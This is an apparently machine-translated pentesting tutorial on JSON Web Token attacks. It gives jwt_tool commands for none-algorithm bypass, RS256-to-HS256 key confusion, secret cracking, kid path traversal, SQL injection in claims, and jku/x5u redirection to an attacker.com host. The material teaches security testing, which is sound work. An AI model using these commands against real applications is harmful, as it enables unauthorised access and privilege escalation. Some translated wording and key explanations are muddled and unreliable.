JSON Web Tokens Attacks

Content:

  • What is JWT?
    • Title
    • Payload
    • Signature
    • What is SECRET_KEY?
  • JWT attacks:
    • Basic attacks:
      1. No algorithm
      2. Changing the algorithm from RS256 to HS256
      3. Without signature verification
      4. Cracking the private key
      5. Using arbitrary files for verification
    • Advanced attacks:
      1. SQL injection
      2. Fake header parameter
      3. HTTP response header injection
      4. Other vulnerabilities

What is JSON Web Token?

JSON web token is commonly used for authorization in client / server applications. JWT consists of three elements:

  • Title
  • Payload
  • Signature

Title

It is a JSON object that represents the metadata of the token. Most often it consists of two fields:

  • Token type
  • Hashing algorithm

Official site offers two hashing algorithms:

  • “HS256”
  • “RS256”

But in fact, any private key algorithm can be used.

Payload

It is also a JSON object that is used to store user information such as:

  • identifier
  • Username
  • role
  • token generation time, etc.

Signature

This is the most important part as it determines the integrity of the token by signing the header and payload in Base64-URL encoding, separated by a period (.) With the secret key. For example, to generate a token using the HS256 algorithm, the pseudocode would be:

// Use Base64-URL algorithm for encoding and concatenate with a dotdata = (base64urlEncode(header) + '.' + base64urlEncode(payload))// Use HS256 algorithm with "SECRET_KEY" string as a secretsignature = HMACSHA256(data , SECRET_KEY)// Complete token
JWT = data + "." + base64UrlEncode(signature)

What is SECRET_KEY?

Typically, JWT can be generated using two encryption mechanisms such as:

  • Symmetrical
  • Asymmetric

Symmetric encryption:

This mechanism requires a single key to create and validate the JWT.

For example, user “Vasya” generated a JWT with “h1dd1n_m1ss1g3” as the secret key. Anyone who knows this key can change the token using it. The JWT will remain valid.

The most common algorithm for this type is HS256.

Asymmetric encryption:

This mechanism requires a public key for verification and a private key for signing.

For example, if “Vasya” used this encryption, then he is the only one who can create a new token using the private key, whereas “Petya” can only verify the token using the public key, but cannot change it.

The most common algorithm for this type is RS256.

JWT attacks

To forge a token, you need to have the correct keys (for example, private key for HS256, public and private keys for RS256), but if the JWT configuration is not implemented correctly, then there are many ways to bypass the controls that allow you to change the token and gain unauthorized access.

Basic attacks

To perform all these attacks, we need JWT_Tool

1. No algorithm

If the application fails to verify the value of the “alg” header, then we can change its value to “none”, and thus it eliminates the need for a valid signature for verification. For example:

// Modified Header of JWT after changing the "alg" parameter{
  "alg": "none",
  "typ": "JWT"
}

Team:

python3 jwt_tool.py <JWT> -X a

Here jwt_tool has created various payloads to exploit this vulnerability and bypass all restrictions, skipping the Signature section.

2. Change the algorithm from RS256 to HS256

As stated above, the RS256 algorithm needs a private key to tamper with data and a corresponding public key to authenticate the signature. But if we can change the signature algorithm from RS256 to HS256, we will force the application to use only one key for both tasks, which is the normal behavior of the HMAC algorithm.

This will convert the workflow from asymmetric to symmetric encryption. Now we can sign new tokens with the same public key.

Team:

python3 jwt_tool.py <JWT> -S hs256 -k public.pem

In this case, we first load the public key (public.pem) from the application and then sign the token using the HS256 algorithm using that key. This way we can create new tokens and insert payloads into any existing assertion.

3. Without signature verification

Sometimes, when fuzzing data in the header and payload section, the application does not return an error. This means that the signature is not verified after it has been signed by the authorization server. Thus, we can insert any payload into the application, and the token will always be valid.

Team:

python3 jwt_tool.py <JWT> -I -pc name -pv admin

Here, part of the signature is not verified, which means you can soften the “name” assertion in the payload section by making yourself an “administrator”.

4. Cracking the private key

We can access the SECRET_KEY file using vulnerabilities like

  • LFI
  • XXE
  • SSRF

If this is not possible, then you can still carry out other attacks to check if the token is using any weak secret string for encryption.

A BurpSuite extension called JWT Heartbreaker can be used for this purpose.

Such a disclosure would compromise the entire security mechanism, since we can now generate arbitrary tokens with a private key.

But to make sure the string we got is a valid SECRET_KEY or not? We can use the Crack function in jwt_tool.

Team:

python3 jwt_tool.py <JWT> -C -d secrets.txt 
// Use -p flag for a string

5. Using arbitrary files for verification

Key ID (kid) is an optional string type header that is used to identify a specific key present in the file system or database, and then use its contents to verify the signature. This parameter is useful if the application has multiple token-signing keys, but it can be dangerous if it is injectable, because in this case an attacker can point to a specific file whose content is predictable.

For example, “/ dev / null” is called device zero and always returns nothing, so it works fine on Unix based systems.

Team:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Alternatively, you can use any file present in the web root, such as CSS or JS. You can also use its contents to verify the signature.

Another solution to the problem:

python3 jwt_tool.py -I -hc kid -hv "путь / к / файлу" -S hs256 -p "Содержимое файла"

Advanced attacks:

1. SQL injection

This vulnerability can occur if any parameter that retrieves a value from the database is not cleared properly. Thanks to this, CTF tasks can be solved.

For example, if the application uses the RS256 algorithm, but the public key is visible in the “pk” statement in the Payload section, then you can convert the signature algorithm to HS256 and generate new tokens.

Command to count the number of columns:

python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem// Increment the value by 1 until an error will occur

2. Fake header parameter

JSON Web Key Set (JWKS) is a set of public keys that are used to validate a token. Here’s an example:

This file is stored on a trusted server, the application can point to this file through the header parameters:

  • “Jku”
  • “X5u”

But we can manipulate the url with tricks like:

  • open redirect
  • adding the @ symbol after the hostname, etc.

We can then redirect the Application to our malicious server instead of the trusted server and generate new tokens since we control both the public and private keys.

JSON Set URL (jku):

This parameter points to a set of public keys in JSON format (attributes n and e in JWKS) and “jwt_tool” automatically creates a JWKS file named “jwttool_custom_jwks.json” for this attack the first time the tool is run after installation.

Team:

python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"

X.509 URL (x5u):

This parameter points to an X.509 public key certificate or certificate chain (attribute x5c in JWKS). You can generate this certificate with the corresponding private key like this:

openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"

Here, using OpenSSL, a certificate was created in “attacker.crt”, which can now be embedded in a JWKS file with the “x5c” attribute, and can be exploited as follows:

python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"

Embedded public keys:

If the server embeds the public keys directly into the token using the “jwk” (JSON Web Key) or “x5c” (X.509 certificate chain) options, try replacing them with your own public keys and signing the token with the corresponding private key.

3. Injection of the HTTP response header

Suppose that if an application restricts any managed URL in the “jku” or “x5c” parameters, then we can exploit a response header injection vulnerability to add inline JWKS to the HTTP response and force the application to use that to verify the signature.

4. Other vulnerabilities

JSON web tokens are another form of user input, all parameters in which must be cleaned up properly, otherwise it can lead to vulnerabilities such as:

  • LFI
  • RCE and others.

But this does not mean that the application is still safe, because if an attacker cannot forge JWTs, he will try to steal them using incorrect configuration:

  • XSS
  • CSRF
  • CORS, etc.

Happy pentests!

image

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *